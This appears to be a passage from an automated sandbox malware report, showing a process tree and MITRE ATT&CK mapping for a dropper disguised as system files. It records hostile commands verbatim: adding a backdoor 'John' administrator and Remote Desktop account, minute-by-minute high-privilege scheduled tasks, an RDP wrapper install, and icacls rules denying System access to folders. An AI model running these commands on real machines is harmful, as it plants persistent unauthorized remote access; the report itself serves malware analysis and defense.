  C:/ProgramData/Setup/svchost.exe -pnaxui
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2288
- - C:\ProgramData\Setup\IP.exe
    "C:\ProgramData\Setup\IP.exe"
    3⤵
    PID:4660
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4548
- - C:\ProgramData\Setup\smss.exe
    "C:\ProgramData\Setup\smss.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Drops file in Program Files directory
    - Checks processor information in registry
    - Modifies registry class
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3260
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:2164
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:2812
  - - C:\ProgramData\Windows Tasks Service\winserv.exe
      "C:\ProgramData\Windows Tasks Service\winserv.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1972
    - - C:\ProgramData\Windows Tasks Service\winserv.exe
        
        "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:1240
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net user John 12345 /add
      4⤵
      PID:3016
    - - C:\Windows\system32\net.exe
        
        net user John 12345 /add
        5⤵
        
        PID:2984
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
      4⤵
      PID:4092
    - - C:\Windows\system32\net.exe
        
        net localgroup "Администраторы" John /add
        5⤵
        
        PID:2404
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
      4⤵
      PID:4332
    - - C:\Windows\system32\net.exe
        
        net localgroup "Пользователи удаленного рабочего стола" John /add
        5⤵
        
        PID:4036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
      4⤵
      PID:3068
    - - C:\Windows\system32\net.exe
        
        net localgroup "Пользователи удаленного управления" john /add" John /add
        5⤵
        
        PID:1616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
      4⤵
      PID:3984
    - - C:\Windows\system32\net.exe
        
        net localgroup "Administrators" John /add
        5⤵
        
        PID:1716
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Administrators" John /add
        6⤵
        
        PID:5072
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
      4⤵
      PID:2324
    - - C:\Windows\system32\net.exe
        
        net localgroup "Administradores" John /add
        5⤵
        
        PID:532
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Administradores" John /add
        6⤵
        
        PID:1324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
      4⤵
      PID:2580
    - - C:\Windows\system32\net.exe
        
        net localgroup "Remote Desktop Users" john /add
        5⤵
        
        PID:2748
  - - C:\ProgramData\RDPWinst.exe
      C:\ProgramData\RDPWinst.exe -i
      4⤵
      Executes dropped EXE
      Sets DLL path for service in the registry
      Drops file in System32 directory
      Drops file in Program Files directory
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1560
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat
      4⤵
      PID:2984
    - - C:\Windows\system32\timeout.exe
        
        timeout 5
        5⤵
        Delays execution with timeout.exe
        
        PID:3756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Programdata\Microsoft\temp\H.bat
  2⤵
  - Drops file in Drivers directory
  PID:4032

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1624
- C:\Windows\system32\resmon.exe
  "C:\Windows\system32\resmon.exe"
  2⤵
  PID:4412
- - C:\Windows\System32\perfmon.exe
    "C:\Windows\System32\perfmon.exe" /res
    3⤵
    - Checks processor information in registry
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2244

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
- Registers new Print Monitor
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
PID:948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3632

C:\ProgramData\Windows Tasks Service\winserv.exe
"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
PID:1648

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user John 12345 /add
1⤵
PID:764

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup "Администраторы" John /add
1⤵
PID:4368

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4548

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
1⤵
PID:400

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
PID:1568

C:\Windows\system32\icacls.exe
icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
1⤵
- Modifies file permissions
PID:4184

C:\Windows\system32\icacls.exe
icacls C:\Programdata\Indus /deny Администраторы:(OI)(CI)(F)
1⤵
- Modifies file permissions
PID:3560

C:\Windows\system32\icacls.exe
icacls C:\Programdata\MB3Install /deny System:(F)
1⤵
- Modifies file permissions
PID:1480

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
1⤵
PID:3816

C:\ProgramData\Windows Tasks Service\winserv.exe
"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
PID:4452

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
- Loads dropped DLL
PID:2128

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3148
- C:\Windows\system32\resmon.exe
  "C:\Windows\system32\resmon.exe"
  2⤵
  PID:1084
- - C:\Windows\System32\perfmon.exe
    "C:\Windows\System32\perfmon.exe" /res
    3⤵
    - Checks processor information in registry
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:3492

C:\ProgramData\Windows Tasks Service\winserv.exe
"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
PID:3668

C:\ProgramData\Windows Tasks Service\winserv.exe
"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4712
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5016

C:\ProgramData\Windows Tasks Service\winserv.exe
"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
PID:880

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

Persistence

Account Manipulation

T1098

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

Scheduled Task

Winlogon Helper DLL

T1004

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Impair Defenses

T1562

Modify Registry

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Account Manipulation

T1098

Discovery

Network Service Scanning

T1046

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery